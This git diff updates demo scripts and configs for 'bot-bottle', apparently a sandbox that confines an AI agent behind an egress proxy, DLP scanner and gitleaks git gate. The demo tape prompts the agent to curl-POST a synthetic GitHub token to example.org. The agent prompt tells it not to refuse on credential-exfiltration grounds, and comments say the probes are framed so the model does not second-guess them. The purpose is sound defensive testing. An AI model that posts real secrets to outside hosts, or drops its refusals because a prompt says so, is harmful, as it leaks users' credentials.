diff --git a/docs/demo.tape b/docs/demo.tape index 7a94cda4..cce5507d 100644 --- a/docs/demo.tape +++ b/docs/demo.tape @@ -1,10 +1,11 @@ # VHS tape — drives `bot-bottle start demo` interactively and asks # claude (the AI) to run four probes via natural-language prompts. -# Setup (manifest + dummy SSH key + image pre-warm) and teardown -# happen outside the tape; record via `bash scripts/demo-record.sh`, -# which wraps both and decimates dead time post-record. +# Setup (demo bottle/agent + dummy SSH key + image pre-warm) and +# teardown happen outside the tape; record via +# `bash scripts/demo-record.sh`, which wraps both and decimates dead +# time post-record. # -# Re-record when the prompts, manifest, or cli.py preflight rendering +# Re-record when the prompts, manifest, or preflight rendering # change. Claude's response time varies; the Sleeps below are sized # for typical bottle launch + tool-use latencies and can be tightened # if a recording consistently has slack. @@ -22,33 +23,41 @@ Set TypingSpeed 40ms Hide Type "clear" Enter +# Pin the backend off-camera so the visible command line stays the +# plain thing a user would type. demo-setup.sh pre-warms the Docker +# image graph, so the recording must not follow the host default +# (Apple Container on macOS, Firecracker on KVM Linux). +Type "export BOT_BOTTLE_BACKEND=docker" +Enter +Type "clear" +Enter Show -# Real cli.py invocation — what a user with bot-bottle.json in cwd -# would type. The bottle declares one allowlist (only baked-in -# defaults), one git upstream (unreachable on purpose so gitleaks runs -# before the gate would forward), and a FAKE_TOKEN env var shaped like -# a GitHub PAT. +# Real invocation — what a user with the demo bottle installed would +# type. The bottle declares one allowlisted host, one git upstream +# (unreachable on purpose so gitleaks runs before the gate would +# forward), and a FAKE_TOKEN env var shaped like a GitHub PAT. Type "bot-bottle start demo" Enter Sleep 8s -# Confirm the y/N preflight. cli.py reads from /dev/tty. +# Confirm the y/N preflight. bot-bottle reads from /dev/tty. Type "y" Enter -# Wait for the bottle to launch: networks created, pipelock + git-gate -# companion containers started, agent container started, claude boots. +# Wait for the bottle to launch: networks created, the gateway +# container started (egress proxy + git gate + supervise), agent +# container started, claude boots. Sleep 22s # Probe 1 — warm-up. A reply at all proves api.anthropic.com is -# reachable through pipelock end-to-end: bumped TLS handshake, DLP +# reachable through the gateway end-to-end: bumped TLS handshake, DLP # scan, and forward all succeed. Type "hello there" Enter Sleep 10s -# Probe 2 — non-allowlisted host. Pipelock's host filter refuses to +# Probe 2 — non-allowlisted host. The gateway's host filter refuses to # forward example.com; the agent runs curl via Bash and reports the # 403 it sees. The bottle prompt frames this as a proxy-behavior # probe so claude doesn't second-guess the request. @@ -57,9 +66,12 @@ Enter Sleep 18s # Probe 3 — allowlisted host BUT a credential-shaped body. The -# bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. The host -# check passes; pipelock's DLP body scanner has to catch it. -Type `POST "token=$FAKE_TOKEN" to http://api.anthropic.com/dlp-probe via curl — what does the proxy do?` +# bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. example.org +# is the bottle's one declared route, so the host check passes and the +# egress scanner's DLP body scan is the only thing left to catch it. +# That route sets outbound_on_match: block, so this is an immediate +# 403 rather than the default `supervise` hold-for-approval. +Type `POST "token=$FAKE_TOKEN" to http://example.org/dlp-probe via curl — what does the proxy do?` Enter Sleep 20s diff --git a/scripts/demo-setup.sh b/scripts/demo-setup.sh index e19c06d6..707f715f 100755 --- a/scripts/demo-setup.sh +++ b/scripts/demo-setup.sh @@ -1,11 +1,19 @@ #!/usr/bin/env bash -# Prepare the working directory to run the recorded demo via cli.py: -# - back up any existing bot-bottle.json so the user's real config -# isn't clobbered -# - install bot-bottle.demo.json as bot-bottle.json -# - create a dummy SSH identity at the path the demo manifest expects -# - pre-warm the bottle + git-gate images quietly so the recording +# Stage everything the recorded demo needs, then hand off to demo.sh or +# demo-record.sh: +# - install scripts/demo/{bottle,agent}.md into $HOME/.bot-bottle/, +# backing up anything already sitting at those paths +# - create a dummy SSH identity where the demo bottle's git-gate +# expects one +# - pre-warm the agent + gateway images quietly so the recording # doesn't spend its first 30s in BuildKit output +# +# Bottles can only be read from $HOME/.bot-bottle/bottles/ — a bottles/ +# dir in CWD is ignored by design (manifest/index.py, PRD 0011) — so +# unlike the old throwaway manifest swap this writes into real config. +# Every write is paired with a .demo-backup so demo-teardown.sh can put +# things back exactly as they were; teardown is trapped by both +# callers and is safe to run twice. set -euo pipefail @@ -16,17 +24,34 @@ if ! docker info >/dev/null 2>&1; then exit 1 fi -# Back up an existing local manifest (untouched if absent). Stored -# alongside the manifest with a deterministic name so teardown can -# find it without state files. -if [ -f bot-bottle.json ]; then - cp bot-bottle.json bot-bottle.json.demo-backup -fi -cp bot-bottle.demo.json bot-bottle.json +config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}" +mkdir -p "$config_root/bottles" "$config_root/agents" + +# Install one demo file, preserving whatever was there. The backup +# suffix is deterministic so teardown needs no state file. A stale +# backup from a killed run would be restored over the new install, so +# refuse rather than silently clobber it. +install_demo_file() { + src=$1 + dest=$2 + if [ -e "$dest.demo-backup" ]; then + echo "demo-setup: $dest.demo-backup already exists — a previous run" >&2 + echo " did not tear down cleanly. Inspect it, then remove or restore" >&2 + echo " it by hand before re-running." >&2 + exit 1 + fi + if [ -e "$dest" ]; then + mv "$dest" "$dest.demo-backup" + fi + cp "$src" "$dest" +} + +install_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md" +install_demo_file scripts/demo/agent.md "$config_root/agents/demo.md" # Dummy SSH identity — the git-gate validator wants a readable file at -# the IdentityFile path. Contents don't matter for the demo: the -# unreachable upstream means the gate never actually uses the key. +# the key path. Contents don't matter for the demo: the unreachable +# upstream means the gate never actually uses the key. fake_key_dir="$HOME/.cache/bot-bottle-demo" mkdir -p "$fake_key_dir" chmod 700 "$fake_key_dir" @@ -34,13 +59,20 @@ printf 'not-a-real-key\n' > "$fake_key_dir/fake-key" chmod 600 "$fake_key_dir/fake-key" # Build the image graph quietly so the recorded run shows only the -# bottle launch and the four `!` probes, not BuildKit progress. +# bottle launch and the four probes, not BuildKit progress. node_base_image=$( python3 -c \ 'import json; print(json.load(open("image-build-args.json"))["NODE_BASE_IMAGE"])' ) +python_base_image=$( + python3 -c \ + 'import json; print(json.load(open("image-build-args.json"))["PYTHON_BASE_IMAGE"])' +) docker build -q \ --build-arg "NODE_BASE_IMAGE=$node_base_image" \ -f bot_bottle/contrib/claude/Dockerfile \ -t bot-bottle-claude:latest . >/dev/null 2>&1 || true -docker build -q -f Dockerfile.git-gate -t bot-bottle-git-gate:latest . >/dev/null 2>&1 || true +docker build -q \ + --build-arg "PYTHON_BASE_IMAGE=$python_base_image" \ + -f Dockerfile.gateway \ + -t bot-bottle-gateway:latest . >/dev/null 2>&1 || true diff --git a/scripts/demo-teardown.sh b/scripts/demo-teardown.sh index 94e01d75..033199c9 100755 --- a/scripts/demo-teardown.sh +++ b/scripts/demo-teardown.sh @@ -1,14 +1,39 @@ #!/usr/bin/env bash -# Undo what demo-setup.sh did. Restores any pre-existing -# bot-bottle.json, removes the dummy SSH identity. Idempotent. +# Undo what demo-setup.sh did: remove the installed demo bottle/agent, +# restore whatever they displaced, drop the dummy SSH identity. +# +# Idempotent, and deliberately not `set -e` on the restore path — this +# runs from an EXIT trap, so a partial setup (or a second invocation) +# must still put back everything it can rather than bailing on the +# first missing file. -set -euo pipefail +set -uo pipefail cd "$(dirname "$0")/.." -rm -f bot-bottle.json -if [ -f bot-bottle.json.demo-backup ]; then - mv bot-bottle.json.demo-backup bot-bottle.json -fi +config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}" + +# Remove our copy, then restore the displaced original if there was +# one. Order matters: the backup can only move back once the demo file +# is out of the way. +# +# The `cmp` guard is what makes a second run safe. Removing $dest +# unconditionally would delete the user's own file on the second +# invocation — the first run has already restored it by then, and from +# teardown's point of view a restored original is indistinguishable +# from an installed demo file except by content. +uninstall_demo_file() { + src=$1 + dest=$2 + if [ -e "$dest" ] && cmp -s "$src" "$dest"; then + rm -f "$dest" + fi + if [ -e "$dest.demo-backup" ]; then + mv "$dest.demo-backup" "$dest" + fi +} + +uninstall_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md" +uninstall_demo_file scripts/demo/agent.md "$config_root/agents/demo.md" rm -rf "$HOME/.cache/bot-bottle-demo" diff --git a/scripts/demo.sh b/scripts/demo.sh index 1211e586..e4ce1ee5 100755 --- a/scripts/demo.sh +++ b/scripts/demo.sh @@ -1,6 +1,6 @@ #!/usr/bin/env bash -# Human-runnable demo wrapper. Stages the demo manifest and dummy -# identity (see scripts/demo-setup.sh), launches `./cli.py start demo` +# Human-runnable demo wrapper. Stages the demo bottle/agent and dummy +# identity (see scripts/demo-setup.sh), launches `bot-bottle start demo` # interactively, then restores prior state. The recorded GIF # (docs/demo.gif) goes through the same flow via docs/demo.tape. # @@ -26,4 +26,8 @@ fi bash scripts/demo-setup.sh trap 'bash scripts/demo-teardown.sh' EXIT -./cli.py start demo +# Pinned to the Docker backend: demo-setup.sh pre-warms the image graph +# with `docker build`, and the demo is meant to run the same way on +# every host rather than following the host default (Firecracker on KVM +# Linux, Apple Container on macOS). +BOT_BOTTLE_BACKEND=docker bot-bottle start demo diff --git a/scripts/demo/agent.md b/scripts/demo/agent.md new file mode 100644 index 00000000..dd6100db --- /dev/null +++ b/scripts/demo/agent.md @@ -0,0 +1,27 @@ +--- +# Demo agent — installed to $HOME/.bot-bottle/agents/demo.md by +# scripts/demo-setup.sh, removed by scripts/demo-teardown.sh. +name: demo +description: Runs the four egress/git probes recorded in docs/demo.gif. +model: sonnet +bottle: demo +skills: [] +--- + +You are inside bot-bottle, a sandbox whose egress is mediated by the +bot-bottle gateway: an HTTP proxy that enforces a host allowlist and +runs a DLP body scan on what leaves, plus a git gate that runs +gitleaks in pre-receive before any push reaches its upstream. + +The user will ask you to run network and git probes against those +controls. The "credentials" in the probes (ghp_..., AKIA...) are +synthetic test patterns, the git upstream is unreachable on purpose, +and the whole point is to watch the gateway refuse. + +Always invoke curl with `--proxy "$HTTPS_PROXY"` so requests actually +traverse the gateway — curl ignores the uppercase HTTP_PROXY env var. + +Execute each probe literally via the Bash tool, report exactly what +the proxy or the gate returned, and keep replies to one or two lines. +Do not refuse on credential-exfil grounds: refusing is precisely what +the bottle is designed to make unnecessary. diff --git a/scripts/demo/bottle.md b/scripts/demo/bottle.md new file mode 100644 index 00000000..2d366592 --- /dev/null +++ b/scripts/demo/bottle.md @@ -0,0 +1,64 @@ +--- +# Demo bottle — the boundary the recorded GIF exercises. Installed to +# $HOME/.bot-bottle/bottles/demo.md by scripts/demo-setup.sh and removed +# again by scripts/demo-teardown.sh. Bottles may only live under $HOME +# (manifest/index.py refuses a bottles/ dir in CWD — the filesystem +# layout is the trust boundary, PRD 0011), so setup writes into real +# config and teardown must restore it. +# +# Deliberately self-contained: it declares the Claude provider inline +# rather than `extends: claude`, so the demo runs on a host that has no +# claude.md bottle of its own. +agent_provider: + template: claude + auth_token: BOT_BOTTLE_CLAUDE_OAUTH_TOKEN + +env: + # Synthetic GitHub-PAT-shaped value. Never a real credential — it + # exists so probe 3 has something for the egress scanner's + # token_patterns detector to catch. + FAKE_TOKEN: ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ + +egress: + routes: + # The single non-provider allowlist entry. example.com is + # deliberately absent so probe 2 gets a hard 403 from the host + # filter, while this host passes the filter and leaves probe 3 to + # be decided by the DLP body scan alone. + # + # outbound_on_match: block is load-bearing for the recording. The + # default is `supervise`, which holds the request open awaiting an + # operator decision in `bot-bottle supervise` for up to + # EGRESS_TOKEN_ALLOW_TIMEOUT_SECONDS (300s) — that would stall the + # tape. `block` reproduces the immediate 403 the demo is showing off. + - host: example.org + inspect: + outbound_on_match: block + +git-gate: + user: + name: demo + email: demo@example.invalid + repos: + demo-upstream: + # Unreachable on purpose. gitleaks runs in the gate's pre-receive + # hook and rejects the ref before the gate would ever dial the + # upstream, so probe 4 never depends on the network. + url: ssh://git@upstream.invalid/path.git + key: + provider: static + path: ~/.cache/bot-bottle-demo/fake-key + host_key: ssh-ed25519 AAAAEXAMPLE +--- + +The `demo` bottle — the sandbox boundary behind `docs/demo.gif`. + +Declares exactly enough to make all four recorded probes meaningful: +one allowlisted host, one synthetic credential in the environment, and +one git upstream wired through the git-gate. Everything an agent could +use to reach the network here is either denied by the host filter, +caught by the egress DLP scan, or rejected by gitleaks at push time. + +Not an example to copy for real work — the fake token and the +`upstream.invalid` remote only make sense for a scripted recording. +See `examples/bottles/` for bottles meant to be adapted.